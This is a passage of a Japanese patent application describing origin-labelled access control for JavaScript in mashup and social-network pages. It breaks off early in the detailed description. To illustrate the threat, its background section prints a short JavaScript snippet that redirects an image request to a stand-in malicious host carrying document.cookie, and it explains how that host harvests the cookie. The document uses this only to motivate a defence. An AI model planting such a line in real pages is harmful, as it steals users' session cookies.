(57)【要約】  【課題】  ウェブサーバのファイルに、信頼できないサイトから、外部から入力されるコンテンツに含まれているJavaScriptなどのスクリプトによって、有害な処理が行われないように、ポリシーに基づくアクセス制御を行うこと。  【解決手段】  Webページを構成するHTML文書内で、文書の部分ごとにそのオリジンに基づいたアクセス制御を行うことにより、悪意のあるユーザやサーバにより提供されたコンテンツがHTML文書のほかの部分に対して不正に読み書きを行うことを防ぐようにする。すなわち、サーバ側で（JavaScriptプログラムを含む）コンテンツにそのオリジンであるドメインを表すラベルを自動的につけることによって、クライアント側でのドメインをまたがるアクセス制御（クロスドメインアクセス制御）が可能になる。そうして、サーバ側から、クライアント側に、コンテンツと、メタデータと、アクセス制御ポリシーの組を送る。【選択図】  図４
2008299414.tif 000002
【特許請求の範囲】
【請求項１】
インターネットを介して、ウェブ・サービスから受領したコンテンツを処理する方法であって、
コンピュータの処理によって、ウェブ・サービスから、コンテンツを受領するステップと、
コンピュータの処理によって、前記コンテンツのスクリプト部分を正規化し、該正規化したスクリプト部分の識別情報を計算するステップと、
コンピュータの処理によって、前記コンテンツのオリジン情報を取得するステップと、
コンピュータの処理によって、前記識別情報を、前記オリジン情報に関連付けて、記憶手段に格納するステップと、
前記記憶手段に格納された前記オリジン情報に基づき、コンテンツのアクセス権限を指定するアクセス制御ポリシーを生成するステップを有する、
コンテンツの処理方法。
【請求項２】
前記スクリプトが、JavaScriptである、請求項１に記載の方法。
【請求項３】
前記識別情報が、前記スクリプト部分のハッシュ関数の値として計算される、請求項１に記載の方法。
【請求項４】
インターネットを介して、ウェブ・サービスから受領したコンテンツを処理する方法であって、
コンピュータの処理によって、複数のウェブ・サービスから、コンテンツを受領するステップと、
コンピュータの処理によって、前記コンテンツのスクリプト部分を正規化し、該正規化したスクリプト部分の識別情報を計算するステップと、
コンピュータの処理によって、前記コンテンツのオリジン情報を取得するステップと、
コンピュータの処理によって、前記識別情報を、前記オリジン情報に関連付けて、記憶手段に格納するステップと、
ユーザーの指定に基づき、コンピュータの処理によって、前記複数のウェブ・サービスからの前記コンテンツを組み合わせて、マッシュアップ・コンテンツを生成するステップと、
前記生成されたマッシュアップ・コンテンツのスクリプト部分の識別情報を計算し、該計算された識別情報関連付けられたオリジン情報を、前記記憶手段から突き止めるステップと、
前記突き止められたオリジン情報に基づき、前記コンテンツの前記スクリプト部分のアクセス権限を指定するアクセス制御ポリシーを生成するステップを有する、
コンテンツの処理方法。
【請求項５】
前記スクリプトが、JavaScriptである、請求項４に記載の方法。
【請求項６】
前記識別情報が、前記スクリプト部分のハッシュ関数の値として計算される、請求項４に記載の方法。
【請求項７】
前記スクリプト部分の各々のメソッドに、前記マッシュアップ・コンテンツ内で一意的なｉｄを付与するステップを有する、請求項５に記載の方法。
【請求項８】
前記アクセス制御ポリシーは、前記ｉｄに関連付けて設定される、請求項７に記載の方法。
【請求項９】
前記マッシュアップ・コンテンツにおいて、前記複数のウェブ・サービスのコンテンツに含まれるスクリプトのメソッド名が重複しないように、該メソッド名を書き換えるステップを有する、請求項８に記載の方法。
【請求項１０】
インターネットを介して、複数のウェブ・サービスから受領したコンテンツを処理するシステムであって、
ウェブ・サービスから、コンテンツを受領する手段と、
前記コンテンツのスクリプト部分を正規化し、該正規化したスクリプト部分の識別情報を計算する手段と、
前記コンテンツのオリジン情報を取得する手段と、
データを読み取り可能に保持する記憶手段と、
前記識別情報を、前記オリジン情報に関連付けて、記憶手段に格納する手段と、
ユーザーの指定に基づき、前記複数のウェブ・サービスからの前記コンテンツを組み合わせて、マッシュアップ・コンテンツを生成する手段と、
前記生成されたマッシュアップ・コンテンツのスクリプト部分の識別情報を計算し、該計算された識別情報関連付けられたオリジン情報を、前記記憶手段から突き止める手段と、
前記突き止められたオリジン情報に基づき、前記コンテンツの前記スクリプト部分のアクセス権限を指定するアクセス制御ポリシーを生成する手段を有する、
コンテンツの処理システム。
【請求項１１】
前記スクリプトが、JavaScriptである、請求項１０に記載のシステム。
【請求項１２】
前記識別情報が、前記スクリプト部分のハッシュ関数の値として計算される、請求項１０に記載のシステム。
【請求項１３】
前記マッシュアップ・コンテンツと、前記アクセス制御ポリシーとを受領する手段と、
前記マッシュアップ・コンテンツ内のスクリプト部分を実行する手段と、
該スクリプト部分にセンシティブな部分があったことに応答して、前記アクセス制御ポリシーを参照し、前記アクセス制御ポリシーに実行許可が記述されていることに応答して、実行を許可する手段、とをさらに有する、
請求項１０に記載のシステム。
【請求項１４】
前記センシティブな部分と判断される部分は、DOMに関連するコードを含むものである、請求項１３に記載のシステム。
【請求項１５】
コンピュータの処理によって、インターネットを介して、ウェブ・サービスから受領したコンテンツを処理するプログラムであって、
前記コンピュータをして、
ウェブ・サービスから、コンテンツを受領するステップと、
前記コンテンツのスクリプト部分を正規化し、該正規化したスクリプト部分の識別情報を計算するステップと、
前記コンテンツのオリジン情報を取得するステップと、
前記識別情報を、前記オリジン情報に関連付けて、記憶手段に格納するステップと、
コンピュータの処理によって、ユーザーの指定に基づき、前記複数のウェブ・サービスからの前記コンテンツを組み合わせて、マッシュアップ・コンテンツを生成するステップと、
前記生成されたマッシュアップ・コンテンツのスクリプト部分の識別情報を計算し、該計算された識別情報関連付けられたオリジン情報を、前記記憶手段から突き止めるステップと、
前記突き止められたオリジン情報に基づき、前記コンテンツの前記スクリプト部分のアクセス権限を指定するアクセス制御ポリシーを生成するステップを実行させる、
コンテンツの処理プログラム。
【請求項１６】
前記スクリプトが、JavaScriptである、請求項１５に記載のプログラム。
【請求項１７】
前記識別情報が、前記スクリプト部分のハッシュ関数の値として計算される、請求項１５に記載のプログラム。
【請求項１８】
前記各々のメソッドに、前記マッシュアップ・コンテンツ内で一意的なｉｄを付与するステップを有する、請求項１５に記載のプログラム。
【請求項１９】
前記アクセス制御ポリシーは、前記ｉｄに関連付けて設定される、請求項１８に記載のプログラム。
【請求項２０】
前記マッシュアップ・コンテンツにおいて、前記複数のウェブ・サービスのコンテンツに含まれるスクリプトのメソッド名が重複しないように、該メソッド名を書き換えるステップを有する、請求項１９に記載のプログラム。
【発明の詳細な説明】
【技術分野】
【０００１】
この発明は、インターネットを介して、特定のウェブサイトに書き込まれるページやプログラムが、当該のウェブサイトにアクセスすることをコントロールするようにコンテンツを処理するためのシステム、方法及びプログラムに関するものである。
【背景技術】
【０００２】
最近では、HTMLとJavaScript（商標）を用いてクライアント側のロジックを記述し、ページ全体の表示、ユーザのアクションに対応したコンテンツ表示の変更、部分ページの切り替え、データの送信などを実現しているウェブページを、多く見かける。また、ウェブページは一つのサイトにより開発・運営されるだけではなく、いくつかのサーバから提供されたデータやプログラムを統合して一つのウェブページとしてクライアントに提供するアプリケーションが増えている。たとえばソーシャルネットワークやマッシュアップアプリケーションにおいては、ブラウザにとっては単一のHTMLページに見えるWebコンテンツが、実は複数の作成者によって作られたコンテンツを合成したものとなる。
【０００３】
1) ソーシャルネットワークや掲示板では、複数のユーザがそれぞれ書き込んだブログやコメント、プロファイル情報などが、合成されて表示される。
2) マッシュアップアプリケーションでは、地図表示や検索エンジンなどの機能を実装したサービスとコンテンツを組み合わせて、新しいアプリケーションを生成する。複雑な機能をAPIとして提供することで、アプリケーションはサービス内部のプログラムのロジックを理解しなくても簡単に使うことができ、開発も容易となる。例えば、Google Mapから提供されるAPIを用いて近所の店などを紹介するページが簡単に作れる。また、広告用のプログラムをページに貼り付ければ、第三者のサイトの広告でビジネスを行なうこともある。
【０００４】
しかし、色々なサーバからデータやプログラムをクライアント側で実行させることで、セキュリティ上の問題が発生する。その原因は、JavaScriptを用いて、ウェブページの各データやDOMノードに対し簡単に読み書きが可能であるところにある。従って、悪意を持ったサイトからダウロードしたプログラムは、JavaScriptを用いて、特定のサイトに書かれている値段や数などのデータ改竄を始め、クライアントの知らないうちにパスワードやクッキーなど大事な情報を自分のサイトに送る攻撃を実現することが可能である。
【０００５】
ソーシャルネットワークサービス(SNS)やWiki, Blogにおいては、現在でも、JavaScriptをユーザの入力（例：Blogのコメント等）に挿入することで、ユーザのブラウザ上で不正なスクリプトを実行させる攻撃が後を絶たない。多くの場合はコンテンツをフィルタリングすることによってJavaScriptを取り除く対策が採られているが、フィルタの脆弱性を利用して検出されないようにする手法がつぎつぎと発見され、完全に回避することは難しい。
【０００６】
また現在では、Webコンテンツ内でアクセス制御をする方法がないため、ユーザ側で、ブラウザのJavaScript機能を全て禁止する、という一様な対策しかとることができない。しかし、信頼できるサイトからのコンテンツに含まれるJavaScriptの実行をも禁止してしまうと、意図した処理が、そのコンテンツで実施されないので、逆に支障をきたす場合がある。
【０００７】
ところで、例えばあるウェブ・サイトで、HTML文書の中で、imgタグを用いてブラウザに写真product1.jpgを表示させようとしているとする。
<img id="img1" src="http://www.siteA.com/img/product1.jpg">
【０００８】
このウェブ・サイトに対して、悪意のあるユーザによって入力されたBlogのコメントが同じページ上で表示されるとすると、このコメントにJavaScriptが含まれていれば、次のようにして、もとのHTML文書を書き換えることができる。例えば、悪意を持ったコンテンツは、写真のロードが実行される前に以下のようなJavaScriptを実行することが可能である。
var imgNode = document.getElementById("img1");
imgNode.src = http://www.maliciousSiteB.com/receiveData?data=" + document.cookie;
【０００９】
このようにコンテンツを書き換えることにより、このコンテンツが表示される時にwww.siteA.comからイメージをロードする代わりに、www.maliciousSiteB.comにウェブページのクッキー情報を送ってしまう。
一方、www.maliciousSiteB.com側では、receiveDataはservletとして書かれており、このservletの最後のコード部分に、クッキー情報を取り出すコードが含まれている。次に、クッキーから取り出された情報を使って、本当のhttp://www.siteA.com/img/product1.jpgにrequestがredirectされる。こうして、もとの写真product1.jpgが書き換えられることになる。
【００１０】
更に、ウェブシステムの仕組みによって、各サービスを提供するサーバから直接クライアントにデータやプログラムを提供するのではなく、サーバまたはProxyによって“中継”や加工されてから、クライアント側に到着する流れとなるサーバサイドマッシュアップもある（図 1を参照）。この場合、クライアント側から見ると、全てがサーバ（Proxy）から送信されているように見え、データやサービスの出所は隠蔽される形になる。従って、クライアント側からは、コンテンツが安全かどうかをサーバの信頼性から判定できない。安全なサーバから提供されるコンテンツが、信頼できない第三者サーバからのプログラムを含む可能性も十分考えられる。
【００１１】
マッシュアップアプリケーションは現在のところ、信頼できるサービスのみを使った実験的なものが多い。しかし今後普及していくにしたがってセキュリティ機構の不在は大きな問題になると考えられる。例えば、悪意のあるサービスMを悪意のないサービスAとマッシュアップした場合、Mの提供するコンテンツがJavaScriptによってAのコンテンツを書き換えるなどの攻撃が可能である。
【００１２】
特表２００２−５１４３２６は、疑わしいダウンローダブルからコンピュータを保護することに関するものであって、セキュリティポリシーと、ダウンローダブルを受け取るためのインターフェイスと、このインターフェイスに接続されていて、前記セキュリティポリシーを前記ダウンローダブルに適用して、前記セキュリティポリシーが侵害されたか否かを判定するためのコンパレータと有するシステムを開示する。ダウンローダブルは、Java（商標）アプレット、ActiveX(商標)コントロール、JavaScript(商標)スクリプト、または、Visual Basicスクリプトを含んでいてよい。このシステムは、前記ダウンローダブルのすべての構成要素をフェッチし、このフェッチした構成要素を含むダウンローダブルについてのハッシング関数を実行することによって、前記ダウンローダブルを識別するダウンローダブルＩＤを算出するためのＩＤジェネレータを使用する。前記セキュリティポリシーは、（１）既知の悪意のあるダウンローダブルおよび悪意の無いダウンローダブルとの比較、（２）管理オーバーライドごとの拒絶または許可すべきダウンローダブルとの比較、（３）ダウンローダブルセキュリティプロファイルデータの、アクセスコントロールリストに対する比較、（４）前記ダウンローダブルに含まれる証明書の、信頼性が確認された証明書との比較、（５）前記ダウンローダブルの送り元のＵＲＬの、信頼性が確認されたＵＲＬおよび信頼性が確認されていないＵＲＬに対する比較を含むいくつかの実行すべきテストを指示する。この開示技術の特徴は、クライアント側でポリシーが定義され、ダウンロードしたファイルの実行を制限することにある。しかし、この開示技術においては、サーバ側でポリシーを提供する仕組みは示唆されない。
【００１３】
特表２００２−５１７８５２は、ウェブサイトからダウンロードされたコンピュータコードまたは他のデータ、電子メールメッセージおよびそこへの任意の添付物、サーバ上で実行するスクリプトまたはクライアントプロセスなどの信頼できないコンテンツに関して、制限付き実行コンテキストを提供するものであって、プロセスがリソースへアクセスしようとするといつでも、そのプロセスに関連付けられたトークンがそのリソースのセキュリティ情報に対して比較され、そのタイプのアクセスが許可されているかどうかを決定する。各リソースのセキュリティ情報はこのように制限付きプロセス、従って信頼できないコンテントがアクセスを有する範囲を決定する。しかし、この開示技術においては、ファイルのコンテキスト（例えば、ＨＴＭＬファイル）に基づきアクセスを制限することを開示するものの、ファイルの出所に基づき、アクセスを制限する仕組みについては、示唆されていない。
【特許文献１】特表２００２−５１４３２６
【特許文献２】特表２００２−５１７８５２
【発明の開示】
【発明が解決しようとする課題】
【００１４】
本発明の主要な目的は、ウェブサーバのファイルに、信頼できないサイトから、外部から入力されるコンテンツに含まれているJavaScriptなどのスクリプトによって、有害な処理が行われないように、ポリシーに基づくアクセス制御を行うことを可能とすることにある。
【００１５】
本発明の別の目的は、既存のアプリケーションに対する変更を最小限にしつつ、マッシュアップサーバにおいて、予め定めたポリシーに基づき、クロスドメインアクセス制御を可能ならしめることにある。
【課題を解決するための手段】
【００１６】
上記目的は、本発明により、Webページを構成するHTML文書内で、文書の部分ごとにそのオリジンに基づいたアクセス制御を行うことにより、悪意のあるユーザやサーバにより提供されたコンテンツがHTML文書のほかの部分に対して不正に読み書きを行うことを防ぐようにすることにより、達成される。すなわち、本発明によれば、サーバ側でコンテンツ（含むJavaScriptプログラム）にそのオリジンであるドメインを表すラベルを自動的につけることによって、クライアント側でのドメインをまたがるアクセス制御（クロスドメインアクセス制御）が可能になる。また、既存の多くのWebアプリケーションをできるだけ変更せずにそのまま使用できる。
【００１７】
本発明に従うシステムは、既存のアプリケーションに対する変更を最小限にして、ウェブサーバまたは、マッシュアップサーバに入力される外部サービスからの情報をトラックすることによって、そのオリジン情報を生成、ポリシーの付与、JavaScriptの書き換えを行う。こうしておくことにより、クライアント側で、ポリシーに基づくアクセス制御を行うことができる。
【００１８】
本発明によれば、サーバ部は、コンテンツのドメイン情報取得サブコンポーネントと、ドメイン情報に基づくポリシー付与とJavaScriptのコード書き換えサブコンポーネントからなる。このような処理にしておくことにより、クライアント部では、ポリシーに基づくJavaScript実行サブコンポーネントと、アクセス制御ポリシーを利用して、上述したアクセス制御を行うことができる。
【００１９】
サーバでは、複数のオリジンから提供されるコンテンツを合成してマッシュアップコンテンツが生成される。このとき、それぞれのコンテンツのオリジンが記録され、生成されたコンテンツをクライアントに送信するときに、各部分のオリジンを表すメタデータ情報（ドメイン情報）、 各ドメインに属するコンテンツ間のアクセス制御ポリシー、も送信される。オリジン情報の取得と、メタデータ・ポリシーの挿入はアプリケーションロジックとは独立に実施されるため、既存のアプリケーションを改造する必要がない。
【００２０】
サーバではまた、マッシュアップの結果として発生する名前の衝突を検出し、コンテンツの書き換えを行なって衝突を回避する、という処理も行われる。名前の衝突とは、例えば、同名のJavaScriptの関数が定義されたり、同じIDを持つHTML要素が複数定義されることをいう。
【００２１】
クライアントは通常のWebブラウザを拡張したものである。拡張する方法の１つは、ブラウザのソースコードレベルで拡張することである。この場合は、例えば、ブラウザの提供元で、ブラウザ自体がビルドし直される。
【００２２】
別の方法では、ブラウザに、プラグインあるいはアドオンとして、プログラムの機能が追加されることにより、拡張が達成される。
【００２３】
この拡張機能とは、受信したコンテンツを表示・実行する際に、サーバから受信したドメイン情報とアクセス制御ポリシーを参照し、文書内でのＤＯＭ  ＡＰＩを通じたアクセス（文書の部分に対する読み書き・実行）をポリシーに従って制御するものである。
【００２４】
SNSやサーバ側によるマッシュアップアプリケーションでは、コンテンツのオリジンやその信頼に関する情報、各オリジンに属するコンテンツ間のアクセス制御ポリシーは、サーバ側で検出される。一方、実行時のアクセス制御はクライアント側で実施されることになる。
【発明の効果】
【００２５】
この発明によれば、マッシュアップ・アプリケーションにおいて、複数のサービス・サーバからの入力を組み合わせたときに、個々のサービス・サーバのオリジンに従い、適切なポリシーに基づき、アクセス制御が行われるので、悪意をもつサイトからのアクセスにより、有害なアクセスやコンテンツの書き換えなどが実質的に防止される。
【００２６】
また、そのようなサービス・サーバに対するアクセスだけではなく、サービス・サーバ側で設定されたセキュリティ・ポリシーも考慮できるため、互いが意図したセキュアの様式で、マッシュアップ・アプリケーションを組むことが可能となる。
【発明を実施するための最良の形態】
【００２７】
以下、図面を参照して、この実施例を説明する。図１を参照すると、この実施例に係るハードウェア構成の概要ブロック図が示されている。図１において、クライアント・コンピュータ１００と、サーバ・コンピュータ２００が、例えば、イーサネット・プロトコルにより、通信回線３００に接続されている。通信回線３００は更に、プロキシ・サーバ４００を介して、インターネット５００に接続され、インターネット５００を介して、様々なウェブ・サイト６０２、６０４、６０６・・・にアクセスすることが可能である。
【００２８】
クライアント・コンピュータ１００は、ハードディスク１０４と、イーサネット・プロトコルに対応する通信インターフェース１０６をもち、ハードディスク１０４には、オペレーティング・システム、ウェブ・ブラウザ１０２などの、この実施例に使用される様々なプログラムが、メモリにロード可能に記憶されている。この実施例で使用するウェブ・ブラウザ１０２は、ＪａｖａＳｃｒｉｐｔを実行可能な任意のウェブ・ブラウザでよく、例えば、マイクロソフト社のＩｎｔｅｒｎｅｔ  Ｅｘｐｌｏｒｅｒ（商標）、モジラ  ファウンデーションのＦｉｒｅＦｏｘ（商標）、アップルコンピュータ社のＳａｆａｒｉ（商標）などが使用可能である。オペレーティング・システムとしては、ＴＣＰ／ＩＰ通信機能を標準でサポートし、これらのウェブ・ブラウザを動作可能な任意のものでよく、例えば、Ｌｉｎｕｘ（商標）、マイクロソフト社のＷｉｎｄｏｗｓ  ＸＰ（商標）、Ｗｉｎｄｏｗｓ（商標）２０００、アップルコンピュータのＭａｃ  ＯＳ（商標）などを使用することができるが、ここに掲げたオペレーティング・システムには限定されない。
【００２９】
サーバ・コンピュータ２００は、ハードディスク２０４と、イーサネット・プロトコルに対応する通信インターフェース２０６をもち、ハードディスク２０４には、オペレーティング・システム、ウェブ・ブラウザ、ウェブ・アプリケーション・サーバ・プログラム（以下、ウェブ・アプリケーション・サーバとも呼ぶ）２０２などの、この実施例に使用される様々なプログラムが、メモリにロード可能に記憶されている。ウェブ・アプリケーション・サーバとは、ＨＴＭＬ文書や画像情報などを蓄積しておき、ウェブ・ブラウザなどのクライアント・アプリケーションからの要求に応じて、インターネットなどのネットワークを通じて、情報を送信するプログラムである。ウェブ・アプリケーション・サーバ２０２としては、Ａｐａｃｈｅ  ｔｏｍｃａｔ、マイクロソフト社のＩｎｔｅｒｎｅｔ  Ｉｎｆｏｒｍａｔｉｏｎ  Ｓｅｒｖｅｒなど、任意のものが使用可能である。オペレーティング・システムとしては、ＴＣＰ／ＩＰ通信機能を標準でサポートし、これらのウェブ・アプリケーション・サーバを動作可能な任意のものでよく、例えば、Ｌｉｎｕｘ（商標）、マイクロソフト社のＷｉｎｄｏｗｓ  ＸＰ（商標）、Ｗｉｎｄｏｗｓ（商標）２０００などを使用することができるが、ここに掲げたオペレーティング・システムには限定されない。
【００３０】
次に、図２を参照して、クライアント・コンピュータ１００と、サーバ・コンピュータ２００の、より詳細なハードウェア構成について、説明する。
【００３１】
クライアント・コンピュータ１００は、ＣＰＵ１０８と、メインメモリ１１０をもち、これらは、バス１０９に接続されている。ＣＰＵは、好適には、３２ビットまたは６４ビットのアーキテクチャに基づくものであり、例えば、インテル社のＰｅｎｔｉｕｍ（商標）  ４、ＡＭＤ社のＡｔｈｌｏｎ（商標）などを使用することができる。バス１０９には、ディスプレイ・コントローラ１１２を介して、ＬＣＤモニタなどのディスプレイ１１４が接続される。ディスプレイ１１４は、図１で示した、ウェブ・ブラウザ１０２などのプログラムを表示するために使用される。バス１０９にはまた、ＩＤＥコントローラ１１６を介して、ハードディスク１０４と、ＣＤ−ＲＯＭドライブ１１８が接続される。ハードディスク１０４には、オペレーティング・システム、ウェブ・ブラウザ１０２その他のプログラムが、メインメモリ１１０にロード可能に記憶されている。
【００３２】
ハードディスク１０４にはさらに、図７に関連して後述する、クライアント側の処理機能に係るプログラムが保存されている。これらの機能は、必要に応じて、または自動的に、メイン・メモリ１１０にロードされて、実行される。これらのプログラムは、Ｃ、Ｃ＋＋、Ｃ＃、Ｊａｖａ（商標）など、既存の適当な任意のプログラムで作成することができる。
【００３３】
ＣＤ−ＲＯＭドライブ１１８は、必要に応じて、ＣＤ−ＲＯＭからプログラムをハードディスク１０４に追加導入するために使用される。バス１０９には更に、キーボード・マウスコントローラ１２０を介して、キーボード１２２と、マウス１２４が接続されている。キーボード１２２は、ＵＲＬやその他の文字を、画面に入力するために使用される。マウス１２２は、マッシュアップ・アプリケーションを作成する目的で、ＧＵＩ部品をドラッグ・アンド・ドロップしたり、動作を開始させるためにメニューのボタンをクリックしたりするために使用される。
【００３４】
通信インターフェース１０６は、イーサネットプロトコルに従うものであり、回線１３０を介して、インターネット２５０に接続される。図示しないが、回線１３０は、セキュリティ保護のため、プロキシサーバを介して、クライアント・コンピュータ１００と、通信回線３００とを、物理的に接続する役割を担い、クライアント・コンピュータ１００のオペレーティング・システムの通信機能のＴＣＰ／ＩＰ通信プロトコルに対して、ネットワークインターフェース層を提供する。尚、図示されている構成は、有線接続構成であるが、例えば、ＩＥＥＥ８０２．１１ａ／ｂ／ｇなどの無線ＬＡＮ接続規格に基づき、無線ＬＡＮ接続するものであってもよい。
【００３５】
また、通信インターフェース１０６は、イーサネットプロトコルに限定されるものではなく、例えば、トークンリングなどの任意のプロトコルに従うものでよく、特定の物理的通信プロトコルに限定されない。
【００３６】
サーバ・コンピュータ２００は、ＣＰＵ２０８と、メインメモリ２１０をもち、これらは、バス２０９に接続されている。クライアント・コンピュータ２００においても、ＣＰＵは、好適には、３２ビットまたは６４ビットのアキーテクチャに基づくものであり、例えば、インテル社のＰｅｎｔｉｕｍ（商標）  ４、Ｘｅｏｎ（商標）、ＡＭＤ社のＡｔｈｌｏｎ（商標）などを使用することができる。バス２０９には、ディスプレイ・コントローラ２１２を介して、ＬＣＤモニタなどのディスプレイ２１４が接続される。ディスプレイ２１４は、詳細は後で説明するが、システム管理者が、インターネット接続用のＧＵＩ部品などを作成したり、ＪａｖａＳｃｒｉｐｔのプログラムを書いて、クライアント・プログラム１００から呼び出し可能に登録したり、クライアント・プログラム１００を介してアクセスするユーザーのユーザーＩＤとパスワードを登録したりするために使用される。
【００３７】
バス２０９にはまた、ＩＤＥコントローラ２１６を介して、ハードディスク２０４と、ＣＤ−ＲＯＭドライブ２１８が接続される。ハードディスク２０４には、オペレーティング・システム、ウェブ・ブラウザその他のプログラムが、メインメモリ２１０にロード可能に記憶されている。
【００３８】
ＣＤ−ＲＯＭドライブ２１８は、必要に応じて、ＣＤ−ＲＯＭからプログラムをハードディスク２０４に追加導入するために使用される。バス２０９には更に、キーボード・マウスコントローラ２２０を介して、キーボード２２２と、マウス２２４が接続されている。キーボード２２２は、ＵＲＬやその他の文字を、画面に入力するために使用される。
【００３９】
通信インターフェース２０６は、イーサネットプロトコルに従うものであり、サーバ・コンピュータ２００と、通信回線３００とを、物理的に接続する役割を担い、サーバ・コンピュータ２００のオペレーティング・システムの通信機能のＴＣＰ／ＩＰ通信プロトコルに対して、ネットワークインターフェース層を提供する。サーバ・コンピュータ２００においても、図示されている構成は、有線接続構成であるが、例えば、ＩＥＥＥ８０２．１１ａ／ｂ／ｇなどの無線ＬＡＮ接続規格に基づき、無線ＬＡＮ接続するものであってもよい。
【００４０】
また、通信インターフェース２０６は、イーサネットプロトコルに限定されるものではなく、例えば、トークンリングなどの任意のプロトコルに従うものでよく、特定の物理的通信プロトコルに限定されない。
【００４１】
サーバ・コンピュータ２００のハードディスク２０４には、前述したオペレーティング・システムとウェブ・アプリケーション・サーバ２０２以外に、図５及び図６に関連して後述する、サーバ側での処理機能に関するプログラムが保存されている。これらの機能は、必要時に、メイン・メモリ２１０にロードされて、実行される。これらのプログラムは、Ｃ、Ｃ＋＋、Ｃ＃、Ｊａｖａ（商標）など、既存の適当な任意のプログラムで作成することができる。
【００４２】
さらにまた、図１では、クライアント・コンピュータとサーバ・コンピュータはともに、ファイアーウォールの内側にあるが、サーバ・コンピュータを、ファイアーウォールの外側に置いてもよい。その際、もしセキュリティ的に懸念があれば、ＶＰＮなどの仕組みで、セキュリティを強化することも可能である。
【００４３】
なお、図１及び図２では、サーバ・コンピュータ２００に対して、クライアント・コンピュータ１００が一台だけ接続されているものとして表示されているが、一般的には、図示は省略するが、１台のサーバ・コンピュータ２００に対して、複数台のクライアント・コンピュータ１００が接続されることに留意されたい。これも図示しないが、サーバ・コンピュータ２００には、クライアント・コンピュータ毎のユーザーＩＤとパスワードの組が保存され、このユーザーＩＤとパスワードの組を使って、クライアント・コンピュータのユーザーは、サーバ・コンピュータ２００にログインすることになる。
【００４４】
また、図１及び図２では、クライアント・コンピュータは、サーバ・コンピュータ２００に対して、ファイアーフォールの中に位置するように示されているが、図１のインターネット５００の右側、すなわち、ファイアーフォールの外に位置していてもよい。
【００４５】
図３は、マッシュアップ・サーバ３５０の一般的な概念を示すものである。マッシュアップ・サーバ３５０は、図１及び図２に示すサーバ・コンピュータ２００内に構成される。マッシュアップ・サーバ３５０は、ウェブ・ブラウザ１０２からのリクエストを受け取って、ＵＲＬ：http://www.server1.comをもつもとして例示されている外部のサービス６０２、ＵＲＬ：http://www.server2.comをもつもとして例示されている外部のサービス６０４、ＵＲＬ：http://www.server3.comをもつもとして例示されている外部のサービス６０６に問い合わせし、その問い合わせの結果を組み合わせて、ウェブ・ブラウザ１０２に返す働きをする。
【００４６】
例えば、サービス６０２が、都市名から、緯度・経度を検索して、緯度・経度の数値を返すとする。そうして、サービス６０４が、その緯度・経度に基づき、地図を検索して、地図のイメージを返すとする。サービス６０６は、そのように返された地図のイメージと、所望の情報を組み合わせて、ウェブ・ブラウザ１０２に返す。ウェブ・ブラウザ１０２は、そのように返された情報を、画面にレンダリング表示する。これは、マッシュアップの典型的なシナリオの１つである。しかし、そのようなサービスの１つが悪意ある機能をもつサイトだったとする。すると、ウェブ・ブラウザ１０２を介してサービスにアクセスするクライアント・コンピュータ１００のクッキー情報を不当に取得することを可能とするコードを、マッシュアップ・サーバ３５０に送ってくることがあり得る。
【００４７】
本発明によれば、上述のような問題を防止するために、図４に示すように、マッシュアップ・サーバ３５０のアプリケーション３７０と、サービス６０２〜６０６の間に、サービス６０２〜６０６から提供されるコンテンツのオリジンあるいはドメインを取得する機能３６０が介在させられる。機能ブロック３６０で、オリジンあるいはドメインが取得されると、その情報は、アクセス制御のためのポリシー３９０として、サーバ・コンピュータのディスク２０４に保存される。
【００４８】
機能ブロック３８０は、ウェブ・ブラウザ１０２から、コンテンツの閲覧要求があると、そのコンテンツに関連付けられているアクセス制御ポリシーと、メタデータを、ポリシー３９０で検索し、検索されたアクセス制御ポリシー及びメタデータを付けて、要求されたコンテンツとともに、ウェブ・ブラウザ１０２に返す。このとき、コンテンツに付加的なタグをつけてアクセス制御ポリシーと、メタデータを埋め込んで返す方法と、コンテンツとは別のファイルとして、アクセス制御ポリシーとメタデータを返す方法があり、ウェブ・ブラウザ１０２が対応しているなら、どちらの方法でもよい。なお、ここでは、アクセス制御ポリシーとメタデータというように分けて記述したが、より広い意味では、ここでいうアクセス制御ポリシーとメタデータの組み合わせを、アクセス制御ポリシーと呼ぶこともできる。というのは、本発明の１つの実施例では、メタデータに、オリジン情報とＩＤとが記述され、アクセス制御ポリシーの方に、そのようにして記述されたオリジン情報のアクセス権限が記述されるからである。
【００４９】
ウェブ・ブラウザ１０２は、このように、マッシュアップ・サーバ３５０から送られてきた、コンテンツと、アクセス制御ポリシー及びメタデータの組み合わせを解釈して実行する付加機能をもつ。すなわち、コンテンツ中に、JavaScriptなどの実行されるスクリプトが含まれていると、ウェブ・ブラウザ１０２は、その付加機能により、関連付けられたアクセス制御ポリシー及びメタデータを参照する。そうして、参照した結果、実行してもよいことが判明すると、ウェブ・ブラウザ１０２は、そのスクリプトを実行する。そうでなければ、そのスクリプトの実行を単にスキップする。こうして、セキュリティ的に問題があるかもしれないスクリプトの実行結果を避けることができる。
【００５０】
図５は、図４の機能ブロック３６０と、その周辺を、より詳細に説明するためのブロック図である。なお、以下では、いちいち断わらないが、図示する機能ブロックは、Ｃ、Ｃ＋＋、Ｃ＃、Ｊａｖａ（商標）などの既存のプログラムで書かれ、ハードディスク２０４に保存されており、オペレーディング・システムの機能により、必要に応じて、メインメモリ２１０にロードされるものとする。
【００５１】
図５に示すブロック図５において、データチェック機構５０２は、クライアント・コンピュータ１００及びサービスサーバ６０２等から、コンテンツを受け取り、先ず、これらのコンテンツに対して、データのチェックを行う。サービスサーバ６０２等からのコンテンツの受領は、例えば、クライアント・コンピュータ１００のユーザーの、サービスサーバに対する閲覧要求に応答して、周知のＨＴＴＰプロトコルなどにより、行われる。そして、データチェック機構５０２は、チェックした結果を、データベース５０４に保存する。データベース５０４は、任意の形式のリレーショナル・データベースまたは、その他の形式のデータベースでよく、要するに、あるデータをキーにして、それに対応する内容を返すことができるものなら、どのような形式のデータベースでも使用することができる。
【００５２】
さて、データチェック機構５０２は、JavaScriptなどのプログラム部分がどのように文書に挿入されたかを後で自動認識するために、プログラムを外部から取り込むときに、まず、プログラムの文字列から、スペース、改行、コメントなどを取り除き、クォーテーション・マークを揃えるなどの、正規化をまず行う。
【００５３】
